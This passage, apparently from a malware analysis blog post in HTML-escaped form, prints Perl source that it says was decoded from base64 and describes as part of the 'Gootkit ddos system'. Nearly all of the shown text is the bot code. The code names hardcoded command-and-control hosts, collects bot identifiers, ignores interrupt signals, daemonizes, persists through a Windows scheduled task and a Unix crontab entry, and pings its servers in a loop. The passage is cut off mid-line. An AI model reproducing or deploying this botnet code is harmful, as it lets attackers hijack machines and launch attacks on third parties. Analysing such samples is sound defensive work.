/tmp/.X11-unix&amp;quot;);    &lt;br /&gt;print &amp;quot;exdone\n&amp;quot;;    &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;Extracted from the base64 decoded string is the following perl script:&lt;/p&gt;  &lt;p&gt;#!/usr/bin/perl&lt;/p&gt;  &lt;p&gt;#part of the Gootkit ddos system   &lt;br /&gt;use Fcntl qw(:flock :DEFAULT);&lt;/p&gt;  &lt;p&gt;use Socket;   &lt;br /&gt;use IO::Socket;    &lt;br /&gt;use IO::Select;&lt;/p&gt;  &lt;p&gt;use POSIX &#39;setsid&#39;;   &lt;br /&gt;use Cwd &#39;abs_path&#39;;&lt;/p&gt;  &lt;p&gt;print &amp;quot;Content-type: text/plain\n\n&amp;quot;;&lt;/p&gt;  &lt;p&gt;#---------------------------------------------------#   &lt;br /&gt;#&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; CUSTOM parameters&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #    &lt;br /&gt;#---------------------------------------------------#    &lt;br /&gt;my $number_of_bots = 5;    &lt;br /&gt;my @defaults = (&amp;quot;tagtags.net:80&amp;quot;, &amp;quot;demire.net:80&amp;quot;, &amp;quot;kayzio.net:80&amp;quot;);    &lt;br /&gt;my $pingTimeout = 1200;    &lt;br /&gt;my $proxyPort = 5432;    &lt;br /&gt;#---------------------------------------------------#    &lt;br /&gt;&lt;/p&gt;  &lt;p&gt;my $lockfilename;   &lt;br /&gt;my $serverfile;    &lt;br /&gt;my $idfile;    &lt;br /&gt;my $uafile;&lt;/p&gt;  &lt;p&gt;my $kernel;   &lt;br /&gt;my $version = &amp;quot;2&amp;quot;;    &lt;br /&gt;my $localip;     &lt;br /&gt;my $botid;    &lt;br /&gt;my $ua;&lt;/p&gt;  &lt;p&gt;my $script_path = abs_path($0);&lt;/p&gt;  &lt;p&gt;if ($^O eq &amp;quot;MSWin32&amp;quot;){   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $temp = `echo %temp%`;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; chomp $temp;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $lockfilename = $temp.&amp;quot;\\~PIF3G6.tmp&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $serverfile = $temp.&amp;quot;\\~PIFSRV6.tmp&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $idfile = $temp.&amp;quot;\\~PIFID45.tmp&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $uafile = $temp.&amp;quot;\\~PIFUA11.tmp&amp;quot;;    &lt;br /&gt;}    &lt;br /&gt;else {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $lockfilename = &amp;quot;/tmp/apachectrl2.lock&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $serverfile = &amp;quot;/tmp/apachectrl2.log&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $idfile = &amp;quot;/tmp/id&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $uafile = &amp;quot;/tmp/ua&amp;quot;;    &lt;br /&gt;}&lt;/p&gt;  &lt;p&gt;exit if (!check_multiprocess());&lt;/p&gt;  &lt;p&gt;if ($ARGV[0] eq &amp;quot;detach&amp;quot;){   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; detachFromConsole();    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;}&lt;/p&gt;  &lt;p&gt;if ($ARGV[0] eq &amp;quot;normal&amp;quot;){   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;normal work pid = $$...\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; getKernel();    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; getBotId();    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; getLocalIp();    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; getUA();    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;version = &amp;quot;.$version.&amp;quot;\nkernel = &amp;quot;.$kernel.&amp;quot;\nos = &amp;quot;.$^O.&amp;quot;\nlocalip = &amp;quot;.$localip.&amp;quot;\nbotid =     &lt;br /&gt;&amp;quot;.$botid.&amp;quot;\nua = &amp;quot;.$ua.&amp;quot;\n&amp;quot;;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my %tasks = ();   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my @newTaskList;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $currentServer;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $currentPort;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $child = undef;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $child_pid;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $SIG{&#39;INT&#39;} = &#39;IGNORE&#39;;   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $SIG{&#39;HUP&#39;} = &#39;IGNORE&#39;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #$SIG{&#39;TERM&#39;} = &#39;IGNORE&#39;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #$SIG{&#39;CHLD&#39;} = &#39;IGNORE&#39;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $SIG{&#39;PS&#39;} = &#39;IGNORE&#39;;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #addServer (&amp;quot;who.is:7015&amp;quot;);   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #delServer(&amp;quot;who.is:7015&amp;quot;);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #getDomain (&amp;quot;pre&amp;quot;, &amp;quot;suf.co.uk&amp;quot;);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; #proxy();&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; while (1){   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Ping (&amp;quot;/ping&amp;quot;);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; sleep $pingTimeout;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;}&lt;/p&gt;  &lt;p&gt;#if ($ARGV[0] eq &amp;quot;daemon&amp;quot;)   &lt;br /&gt;{    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;daemon...\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; demonize();    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;}&lt;/p&gt;  &lt;p&gt;   &lt;br /&gt;sub REAPER {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; while (waitpid(-1, WNOHANG) &amp;gt; 0){}    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; $SIG{CHLD} = \&amp;amp;REAPER;    &lt;br /&gt;}&lt;/p&gt;  &lt;p&gt;#------------------------------------------------------------------#   &lt;br /&gt;sub demonize {&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if ($^O eq &amp;quot;MSWin32&amp;quot;)   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $schedDelete = &amp;quot;schtasks /delete /f /tn perl&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $schedCreate = &amp;quot;schtasks /create /tr \&amp;quot;&amp;quot;.$^X.&amp;quot; &amp;quot;.abs_path($0).&amp;quot; detach\&amp;quot; /tn perl /sc MI    &lt;br /&gt;NUTE /mo 1&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print $schedDelete.&amp;quot;\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print&amp;#160; $schedCreate.&amp;quot;\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; `$schedDelete`;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; `$schedCreate`;&lt;/p&gt;  &lt;p&gt;   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $child_proc;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;detach...\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; require Win32::Process;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Win32::Process::Create($child_proc, &amp;quot;$^X&amp;quot;, &amp;quot;perl.exe &amp;quot;.abs_path($0).&amp;quot; normal&amp;quot;, 0, DETACHED_    &lt;br /&gt;PROCESS, &amp;quot;.&amp;quot;) || die &amp;quot;Could not spawn child: $!&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $child_pid = $child_proc-&amp;gt;GetProcessID();    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;child_pid = $child_pid, pid = $$ \n&amp;quot;;&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; sleep(1.0);   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; POSIX::waitpid(-1, POSIX::WNOHANG()); # clean up any defunct child process    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;exit pid=$$\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; else {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $SIG{CHLD} = \&amp;amp;REAPER;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if ( fork() ) {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; setsid();     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; chdir(&#39;/&#39;);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; open STDIN, &amp;quot;&amp;lt;&amp;quot;, &amp;quot;/dev/null&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; open STDOUT, &amp;quot;&amp;gt;&amp;quot;, &amp;quot;/dev/null&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; open STDERR, &amp;quot;&amp;gt;&amp;quot;, &amp;quot;/dev/null&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; umask(077);     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $SIG{CHLD} = \&amp;amp;REAPER;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if ( fork() ) {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; `echo &#39;* * * * * $^X $script_path detach &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&#39; &amp;gt; /tmp/cron.d; crontab /tmp/cron.    &lt;br /&gt;d ; rm /tmp/cron.d`;     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;$$ exec...\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; # Now go back to your regular business.     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exec &amp;quot;$^X $script_path normal&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;}&lt;/p&gt;  &lt;p&gt;#------------------------------------------------------------------#   &lt;br /&gt;sub detachFromConsole {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if ($^O eq &amp;quot;MSWin32&amp;quot;)    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; my $child_proc;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;detach...\n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; require Win32::Process;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; Win32::Process::Create($child_proc, &amp;quot;$^X&amp;quot;, &amp;quot;perl.exe &amp;quot;.abs_path($0).&amp;quot; normal&amp;quot;, 0, DETACHED_    &lt;br /&gt;PROCESS, &amp;quot;.&amp;quot;) || die &amp;quot;Could not spawn child: $!&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $child_pid = $child_proc-&amp;gt;GetProcessID();    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;child_pid = $child_pid, pid = $$ \n&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; else {&lt;/p&gt;  &lt;p&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $SIG{CHLD} = \&amp;amp;REAPER;   &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if ( fork() ) {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; setsid();     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; chdir(&#39;/&#39;);    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; open STDIN, &amp;quot;&amp;lt;&amp;quot;, &amp;quot;/dev/null&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; open STDOUT, &amp;quot;&amp;gt;&amp;quot;, &amp;quot;/dev/null&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; open STDERR, &amp;quot;&amp;gt;&amp;quot;, &amp;quot;/dev/null&amp;quot;;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; umask(077);     &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; $SIG{CHLD} = \&amp;amp;REAPER;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; if ( fork() ) {    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; exit;    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; }    &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; print &amp;quot;$$ 